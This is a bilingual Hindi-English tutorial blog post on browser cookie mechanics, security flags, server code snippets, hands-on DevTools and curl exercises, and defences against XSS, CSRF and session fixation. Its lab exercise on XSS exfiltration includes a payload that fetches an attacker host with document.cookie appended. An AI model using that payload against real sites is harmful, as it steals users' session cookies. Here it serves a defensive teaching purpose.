CybersLion

कुकीज़ और वेब ब्राउज़र — पूर्ण प्रैक्टिकल गाइड (2025)

 

कुकीज़ और वेब ब्राउज़र्स: विस्तृत उपयोग और प्रायोगिक गाइड (2025) — हिंदी


Meta Description: सीखें कि ब्राउज़र कुकीज़ कैसे काम करती हैं, Set-Cookie हेडर के घटक, सुरक्षित फ़्लैग (HttpOnly, Secure, SameSite), कुकी-आधारित हमले और हाथों-हाथ अभ्यास (DevTools, curl, JavaScript, सर्वर-साइड उदाहरण)। सर्वश्रेष्ठ अभ्यास और अनुपालन टिप्स।
Primary Keywords: ब्राउज़र कुकीज़, HttpOnly, SameSite, Secure cookie, Set-Cookie, cookie security, cookie best practices, DevTools में कुकी देखना, कुकी ट्यूटोरियल (हिंदी)

परिचय — क्यों कुकीज़ अभी भी महत्त्वपूर्ण हैं

कुकीज़ छोटे डेटा के टुकड़े होते हैं जो वेबसाइट्स आपके ब्राउज़र में स्टोर करवाती हैं। वे आधुनिक वेब का आधार हैं — सेशन मैनेजमेंट, ऑथेंटिकेशन, पर्सनलाइज़ेशन, ट्रैकिंग और A/B टेस्टिंग जैसी सुविधाओं के लिए कुकीज़ आवश्यक हैं।

इस गाइड में आप सीखेंगे: कुकीज़ कैसे काम करती हैं, ब्राउज़र कब और कैसे कुकी भेजते हैं, सुरक्षा गुण (HttpOnly, Secure, SameSite), सामान्य हमले और प्रभावी बचाव, और व्यावहारिक प्रयोग जिन्हें आप अपने लोकल लैब पर कर सकते हैं।

नोट: सभी प्रयोग केवल अपनी मशीन या उस सिस्टम पर करें जिसके लिए आपके पास अनुमति है। अनधिकृत परीक्षण गैरकानूनी हो सकता है।

कुकी क्या है? — सरल परिभाषा

कुकी एक name=value जोड़ी है जिसे सर्वर ब्राउज़र को Set-Cookie हेडर के माध्यम से भेजता है। बाद में ब्राउज़र उसी डोमेन/पाथ पर अनुरोध करते समय Cookie हेडर में वह कुकी भेज देता है। कुकी का उपयोग सर्वर साइड सेशन पहचान, उपयोगकर्ता प्राथमिकता, या छोटे-छोटे टोकन के रूप में होता है।

Set-Cookie हेडर की संरचना (Anatomy)

Set-Cookie: sessionId=abc123; Path=/; Domain=example.com; Expires=Wed, 27 Nov 2025 12:00:00 GMT; Secure; HttpOnly; SameSite=Strict

मुख्य घटक:

  • name=value — कुकी का डेटा।

  • Expires / Max-Age — जीवनकाल; न होने पर सत्र कुकी बनी रहती है (ब्राउज़र बंद होते ही हटती है)।

  • Path — URL पाथ का स्कोप।

  • Domain — किस होस्ट/सबडोमेन पर कुकी लागू होगी।

  • Secure — केवल HTTPS पर भेजें।

  • HttpOnly — JavaScript (document.cookie) से पढ़ी नहीं जा सकती।

  • SameSite — क्रॉस-साइट अनुरोधों में भेजने का व्यवहार (Strict, Lax, None)।

  • Priority (कुछ ब्राउज़र्स) — eviction निर्णय प्रभावित कर सकती है।

कुकी के प्रकार

  • Session Cookies: ब्राउज़र बंद होने पर हट जाती हैं (no Expires/Max-Age)।

  • Persistent Cookies: Expires/Max-Age के साथ रहती हैं।

  • Secure Cookies: केवल HTTPS पर भेजी जाती हैं।

  • HttpOnly Cookies: JavaScript से एक्सेस नहीं हो सकतीं — XSS सुरक्षा में मदद।

  • SameSite Cookies: क्रॉस-साइट संदर्भों पर भेजने को नियंत्रित करती हैं।

  • First-party vs Third-party: पहली पार्टी वही डोमेन जो आप विजिट कर रहे हैं; थर्ड-पार्टी एड/एनालिटिक्स जैसे डोमेन्स से बनती हैं।

ब्राउज़र कुकी कब भेजते हैं?

ब्राउज़र तब कुकी भेजता है जब:

  • अनुरोध का डोमेन कुकी के Domain से मेल खाता हो,

  • पाथ Path से मैच करे,

  • कुकी एक्सपायर न हुई हो,

  • यदि Secure है तो अनुरोध HTTPS हो,

  • और SameSite नीति अनुरोध के संदर्भ से मेल खाती हो।

SameSite सारांश:

  • Strict: क्रॉस-साइट नेविगेशन/सब-रिप्लिकेशन पर कुकी नहीं भेजी जाती — सबसे सुरक्षित।

  • Lax: टॉप-लेवल नेविगेशन (GET) पर भेजी जा सकती है, पर अधिकतर क्रॉस-साइट सब-रिसोर्स पर नहीं।

  • None: सभी संदर्भों में भेजी जाती है — उपयोग के लिए Secure ज़रूरी है।

सर्वर-साइड उदाहरण — कुकी कैसे सेट करें

Node.js (Express)

res.cookie('sessionId', 'abc123', {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  maxAge: 24 * 60 * 60 * 1000 // 1 day
});

Python (Flask)

from flask import make_response
resp = make_response('Logged in')
resp.set_cookie('sessionId', 'abc123', httponly=True, secure=True, samesite='Lax', max_age=86400)
return resp

PHP

setcookie('sessionId', 'abc123', [
  'expires' => time() + 86400,
  'path' => '/',
  'domain' => 'example.com',
  'secure' => true,
  'httponly' => true,
  'samesite' => 'Lax'
]);

JavaScript में कुकी पढ़ना/लिखना

Read

console.log(document.cookie);

Set (non-HttpOnly)

document.cookie = "theme=dark; Path=/; Max-Age=31536000";

ध्यान: HttpOnly कुकीज़ document.cookie से दिखाई नहीं देतीं — यही इन्हें XSS से सुरक्षित बनाता है।

प्रायोगिक अभ्यास (Hands-on Exercises) — केवल अपने लैब पर करें

सभी प्रयोग केवल आपके लोकल होस्ट या आप जिन पर अधिकार रखते हैं, वहां करें।

अभ्यास 1 — DevTools में कुकी देखें (Chrome)

  1. अपना लोकल साइट (या http://localhost:3000) खोलें।

  2. F12 → Application → Storage → Cookies।

  3. कुकी के नाम, वैल्यू, डोमेन, पाथ, expiry और फ़्लैग (HttpOnly, Secure, SameSite) देखें।

अभ्यास 2 — curl से कुकी भेजना

curl -v -b "sessionId=abc123" https://example.com/dashboard

अभ्यास 3 — SameSite व्यवहार जाँच

  1. दो लोकल होस्ट/पोर्ट बनाएं: site-a.local:3000 और site-b.local:4000.

  2. site-a पर <img src="http://site-b.local:4000/track"> रखें और देखें कि site-b कौन-सी कुकी प्राप्त करती है।

  3. SameSite बदलकर None; Secure सेट करें और फिर अंतर देखें।

अभ्यास 4 — XSS Exfiltration (lab only)

  1. vulnerable test page बनाएं जो इनपुट echo करे बिना sanitize किए।

  2. controlled payload डालें जो fetch('https://attacker/collect?c='+document.cookie) करे।

  3. अगर session कुकी HttpOnly है, तो document.cookie उसे नहीं दिखाएगा — इससे HttpOnly का लाभ स्पष्ट होता है।

आम सुरक्षा समस्याएँ और बचाव

1) XSS (Cross-Site Scripting)

  • जोखिम: injected JS document.cookie पढ़कर कुकी चुरा सकता है।

  • बचाव: session कुकीज़ पर HttpOnly लगाएं; इनपुट sanitize/escape करें; CSP लागू करें।

2) CSRF (Cross-Site Request Forgery)

  • जोखिम: ब्राउज़र ऑटोमेटिकली कुकी भेजता है और हमलों से नॉक-ऑन-इफेक्ट हो सकता है।

  • बचाव: SameSite=Lax/Strict, CSRF टोकेन, double-submit cookie, या origin/Referer जाँच।

3) HTTP पर कुकी चोरी (MitM)

  • जोखिम: कुकी cleartext में ट्रैफिक पर पकड़ी जा सकती है।

  • बचाव: हमेशा HTTPS और Secure फ़्लैग; HSTS सक्षम करें।

4) Session Fixation

  • जोखिम: attacker किसी को पूर्व निर्धारित sessionId दे देता है।

  • बचाव: लॉगिन पर session id regenerate करें; short expiry रखें।

5) Third-party Tracking

  • जोखिम: थर्ड-पार्टी कुकीज़ यूज़र को साइट-टू-साइट ट्रैक कर सकती हैं।

  • बचाव: थर्ड-पार्टी कुकी ब्लॉक करें; privacy-first approaches अपनाएँ; consent management लागू करें।

सर्वश्रेष्ठ अभ्यास (Checklist)

  • हमेशा HTTPS पर साइट चलाएँ और कुकी पर Secure लगाएँ।

  • ऑथेंटिकेशन/सेशन कुकीज़ HttpOnly रखें।

  • रूटीन के लिए SameSite=Lax या ज़्यादा सुरक्षित के लिए Strict उपयोग करें।

  • असंवेदनशील डेटा को कुकी में न रखें; केवल session-id स्टोर करें।

  • कुकी का Domain/Path सीमित रखें — ज़्यादा व्यापक न रखें।

  • संवेदनशील कुकीज़ के लिए कम लाइफटाइम व ऑटो रोटेशन लागू करें।

  • XSS को कम करने के लिए CSP और output encoding अपनाएँ।

  • GDPR/ePrivacy के अनुरूप cookie consent और cookie policy रखें।

आधुनिक गोपनीयता व ब्राउज़र बदलाव

  • ब्राउज़र्स (Safari, Firefox, Chrome) थर्ड-पार्टी कुकीज़ पर सीमाएँ लगा रहे हैं और partitioned storage जैसी तकनीकें ला रहे हैं — इससे tracking घटेगा।

  • ब्राउज़र डिफ़ॉल्ट रूप से SameSite=Lax व्यवहार दिखाते हैं; स्पष्ट नीति लगाना बेहतर है।

  • GDPR/ई-प्राइवेसी नियमों के कारण अनावश्यक ट्रैकिंग कुकीज़ के लिए उपयोगकर्ता की सहमति अनिवार्य है — consent logs रखें।

सर्वर-साइड सेशन बनाम टोकन बेस्ड ऑथ

  • Session (cookie): सर्वर पर session data। कुकी में केवल session id। सुरक्षित फ़्लैग्स के साथ सुरक्षित।

  • Token (JWT): अक्सर localStorage में स्टोर होता है — XSS के प्रति संवेदनशील। यदि JWT का उपयोग करें तो उसे HttpOnly Secure cookie में रखें और CSRF से सावधान रहें।

माइग्रेशन टिप्स: insecure कुकी → secure कुकी

  1. मौजूदा कुकी का ऑडिट (DevTools + server logs)।

  2. क्रमशः Secure, HttpOnly, SameSite जोड़ें; टेस्ट करते हुए deploy करें।

  3. लाइफटाइम कम करें और session rotation लागू करें।

  4. महत्वपूर्ण टारगेट्स को सर्वर-साइड सेशन में रखें।

  5. यूज़र को सूचित करें यदि लॉगिन/SSO व्यवहार बदलता है।

डिबगिंग टिप्स और टूल्स

  • Chrome/Firefox DevTools (Application → Cookies) — कुकी फ़ील्ड्स देखें।

  • curl -v / curl -I — Set-Cookie हेडर देखें/सिमुलेट करें।

  • Burp Suite / OWASP ZAP — इंटरसेप्ट करें और कुकी हेडर मोडिफाई कर परीक्षण करें (lab only)।

  • SecurityHeaders.io / Mozilla Observatory — साइट हेडर व कुकी-संबंधी सुझाव।

  • अलग ब्राउज़र प्रोफ़ाइल्स — अलग-अलग कुकी/एक्सटेंशन व्यवहार जाँचने हेतु।

निष्कर्ष — कुकीज़ शक्तिशाली हैं; सुरक्षित उपयोग ज़रूरी है

कुकीज़ आधुनिक वेब के कामकाजी हिस्से हैं। सही तरीके से सेट की गई कुकीज़ (Secure, HttpOnly, SameSite) और HTTPS के साथ वे सुरक्षित रहती हैं और बेहतर उपयोगकर्ता अनुभव देती हैं। पर गलत कॉन्फ़िगरेशन XSS, CSRF, और सेशन-हाईजैक जैसी समस्याओं को जन्म दे सकती है।

लैब अभ्यास करके — DevTools, curl, और स्थानीय वेब ऐप्स पर — आप कुकी व्यवहार समझकर प्रकाश डाल सकते हैं कि क्या सुरक्षित है और कहाँ सुधार की ज़रूरत है। हमेशा कानूनी और एथिकल दायरे में रहकर परीक्षण करें और उत्पादन में कॉन्फ़िगरेशन बदलते समय सावधानी बरतें।

Cookies & Web Browsers — Complete Practical Guide (2025)

 

Cookies & Web Browsers: Detailed Usage with Practical Guide (2025)


Meta Description: Learn how browser cookies work, how sites set/read them, secure cookie flags (HttpOnly, Secure, SameSite), cookie-based attacks, and hands-on exercises (DevTools, curl, JavaScript, server examples). Best practices & compliance tips.
Primary Keywords: browser cookies, HttpOnly, SameSite, Secure cookie, Set-Cookie, cookie security, cookie best practices, view cookies DevTools, cookie tutorial

Introduction — why cookies still matter

Cookies are small pieces of data websites store in a user’s browser. They are fundamental to the modern web: sessions, authentication, personalization, tracking, A/B testing — many features rely on cookies.

This guide explains how cookies work, how browsers store and send them, security properties (HttpOnly, Secure, SameSite), common attacks, and practical exercises you can run now (local lab). Everything here is actionable and SEO-friendly so you can copy it to your blog or tutorial.

What is a cookie? (simple definition)

A cookie is a name=value pair that a server asks the browser to store. The browser includes cookies in subsequent requests to the same origin (domain + port + scheme) according to cookie rules.

Typical cookie lifecycle:

  1. Server sends Set-Cookie header with attributes.

  2. Browser stores cookie (in memory or persistent store).

  3. Browser sends cookie in Cookie header on matching requests.

  4. Server reads cookie and uses it (session lookup, preferences, etc.).

Anatomy of a cookie — Set-Cookie header

A cookie sent from server to browser looks like:

Set-Cookie: sessionId=abc123; Path=/; Domain=example.com; Expires=Wed, 27 Nov 2025 12:00:00 GMT; Secure; HttpOnly; SameSite=Strict

Key parts:

  • name=value — the data.

  • Expires / Max-Age — lifespan. Without these the cookie is a session cookie (deleted when browser closes).

  • Path — URL path scope.

  • Domain — which host(s) the cookie applies to.

  • Secure — browser only sends cookie over HTTPS.

  • HttpOnly — JavaScript document.cookie cannot read the cookie.

  • SameSite — controls cross-site sending: Strict, Lax, None (with Secure required for None).

  • Priority (some browsers) — influence eviction order.

Types of cookies

  • Session cookies — expire at end of session (no Expires/Max-Age).

  • Persistent cookies — have Expires or Max-Age.

  • Secure cookies — flagged Secure, only sent over HTTPS.

  • HttpOnly cookies — not accessible via JavaScript.

  • SameSite cookies — restrict cross-site requests to mitigate CSRF and tracking.

  • First-party vs Third-party cookies — set by same-site (first-party) or by embedded third-party resources (ads, analytics).

How browsers decide to send cookies

A browser sends cookies when:

  • The request target domain matches the cookie Domain.

  • The request path matches Path.

  • The cookie is not expired.

  • For Secure cookies, the request uses HTTPS.

  • For SameSite rules, the request context (top-level navigation vs cross-site subrequest) meets the policy.

SameSite behavior (summary):

  • Strict: cookie not sent on cross-site navigations or GETs — safest.

  • Lax: cookie sent on top-level navigations with a safe method (GET), but not on most cross-site subrequests (iframes, XHR from other sites).

  • None: cookie sent in all contexts — requires Secure.

Cookie examples — server code snippets

1) Set cookie with Node/Express

// Express
res.cookie('sessionId', 'abc123', {
  httpOnly: true,
  secure: true,      // send only over HTTPS
  sameSite: 'lax',
  maxAge: 24 * 60 * 60 * 1000 // 1 day
});

2) Set cookie with Python Flask

from flask import Flask, make_response
app = Flask(__name__)

@app.route('/login')
def login():
    resp = make_response('Logged in')
    resp.set_cookie('sessionId', 'abc123', httponly=True, secure=True, samesite='Lax', max_age=86400)
    return resp

3) Set cookie with PHP

setcookie('sessionId', 'abc123', [
  'expires' => time() + 86400,
  'path' => '/',
  'domain' => 'example.com',
  'secure' => true,
  'httponly' => true,
  'samesite' => 'Lax'
]);

Reading & manipulating cookies in JavaScript

Read cookies

console.log(document.cookie); // "sessionId=abc123; theme=dark"

Set cookie (non-HttpOnly)

document.cookie = "theme=dark; Path=/; Max-Age=31536000";

Note: HttpOnly cookies are intentionally not visible to document.cookie and therefore safer against XSS exfiltration.

Practical exercises (hands-on)

All exercises must be executed on your local machine or on sites you own. Don’t test on other people’s systems without permission.

Exercise 1 — View cookies with Chrome DevTools

  1. Open Chrome, go to any site you control (or http://localhost:3000).

  2. Press F12 → Application tab → Storage → Cookies. You’ll see cookie name, value, domain, path, expiry, and flags.

  3. Inspect HttpOnly, Secure, and SameSite values.

Exercise 2 — Send cookies manually with curl

Set cookie in request:

curl -v -b "sessionId=abc123" https://example.com/dashboard

Set cookie with Set-Cookie from a local server:

# Start a local server that responds with Set-Cookie header, then:
curl -v http://localhost:8080/

Exercise 3 — Test SameSite behavior

  1. Create two local hosts (or two different ports): site-a.local:3000 and site-b.local:4000.

  2. From site-a add an <img src="http://site-b.local:4000/track"> and check whether site-b receives cookies depending on SameSite settings.

  3. Toggle cookie SameSite to None + Secure and observe differences.

Exercise 4 — Simulate XSS exfil (lab only)

  1. Deploy a vulnerable test page that echoes input unsafely (e.g., /<script>alert()>).

  2. Inject a script that attempts fetch('https://attacker.example/collect?c='+document.cookie).

  3. Observe that if session cookie has HttpOnly, document.cookie won’t reveal it — demonstrating why HttpOnly helps.

Common cookie security issues & attacks

1) Cross-Site Scripting (XSS)

  • If an attacker injects JavaScript, they can read document.cookie and exfiltrate non-HttpOnly cookies.

  • Defense: set HttpOnly for session cookies; sanitize/escape inputs; use CSP.

2) Cross-Site Request Forgery (CSRF)

  • A victim’s browser automatically sends cookies on cross-site requests — an attacker can forge actions.

  • Defense: use SameSite=Lax/Strict on session cookies, implement CSRF tokens, use double-submit cookies, require same-origin requests for sensitive endpoints.

3) Cookie Theft over HTTP

  • Sending cookies over HTTP exposes them to MitM sniffing.

  • Defense: set Secure flag and use HTTPS everywhere (HSTS).

4) Session Fixation

  • If attacker can set victim’s sessionId, they can hijack later.

  • Defense: regenerate session ID on login, restrict cookie Path/Domain, and set short expiry.

5) Third-party tracking

  • Third-party cookies in iframes can track users across sites.

  • Defense: block third-party cookies, use privacy-first strategies, or use SameSite/partitioned storage.

Best practices for cookie security (checklist)

  • Always use HTTPS and set Secure.

  • Mark authentication/session cookies HttpOnly.

  • Use SameSite=Lax or Strict for session cookies (use None; Secure only when cross-site access is required).

  • Use short lifetimes for sensitive cookies and refresh tokens periodically.

  • Regenerate session id after privilege changes (login/logout).

  • Avoid storing sensitive user data (PII, passwords) directly in cookies — store a reference (session id) on server.

  • Implement Content Security Policy (CSP) to reduce XSS risk.

  • Set Path and Domain narrowly — avoid wide scope unless needed.

  • For analytics/tracking, consider server-side storage or user-consented approaches to comply with privacy laws.

Cookie management in modern privacy contexts

  • GDPR / ePrivacy / Cookie Consent: Many jurisdictions require user consent for non-essential cookies (tracking/analytics). Provide a cookie banner and granular controls.

  • Browser privacy changes: Modern browsers (Safari, Firefox, Chrome) are limiting third-party cookies and introducing partitioned storage and enhanced tracking protections. Keep updated with browser behavior and use first-party storage where possible.

  • SameSite default: Browsers default to Lax for cookies without SameSite. Use explicit policies for predictable behavior.

Debugging tips & tools

  • Browser DevTools (Application → Cookies) — inspect cookies, flags, expiry.

  • curl -I / curl -v — view Set-Cookie headers in responses.

  • Burp Suite / OWASP ZAP — intercept and manipulate cookie headers for testing.

  • SecurityHeaders.io / Mozilla Observatory — check site headers and cookie-related best practices.

  • Browser profiles — use separate profiles for testing cookie/extension behavior.

Server-side session vs token approaches

  • Cookie-based sessions: server stores session data, cookie holds session ID — simple, widely used, can leverage secure flags and HttpOnly.

  • Token-based auth (JWT in Authorization header): often stored in localStorage or sessionStorage. Storing JWTs in JavaScript-accessible storage is more vulnerable to XSS. If you use tokens, prefer storing them in HttpOnly, Secure cookies with proper CSRF protection rather than localStorage.

Migration tips: moving from insecure cookies to secure ones

  1. Audit existing cookies (DevTools + server logs).

  2. Add Secure, HttpOnly, and SameSite progressively — test functionality.

  3. Shorten lifetimes and rotate cookies.

  4. Move critical tokens to server-side sessions or encrypted secure cookies.

  5. Communicate changes to users if behavior changes (login flows, SSO).

Example: Implementing secure login cookie flow (high-level)

  1. User posts credentials to /login over HTTPS.

  2. Server validates credentials and creates server-side session (sessionId).

  3. Server sets Set-Cookie: sessionId=abc; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600.

  4. Browser stores cookie and uses it for subsequent requests.

  5. On logout, server invalidates session and sends Set-Cookie with Max-Age=0.

Compliance & legal considerations

  • Inform users about cookie usage (cookie policy).

  • Use consent mechanisms for non-essential cookies (analytics, advertising) to comply with GDPR/ePrivacy.

  • Keep records of consent where required.

  • For high-risk data, minimize cookie usage and prefer server-side storage or encrypted tokens.

Conclusion — cookies are powerful, use them securely

Cookies remain a backbone of stateful web experiences. Done right — with Secure, HttpOnly, and SameSite plus short lifetimes, HTTPS, and defensive coding — cookies are safe and practical. Done wrong, they open doors to XSS, CSRF, session hijacking, and privacy issues.

Use the practical exercises above to build muscle memory: inspect cookies with DevTools, set and test cookies from your server, try curl requests, and verify that HttpOnly prevents JS reading. Always test in your lab or on systems you own.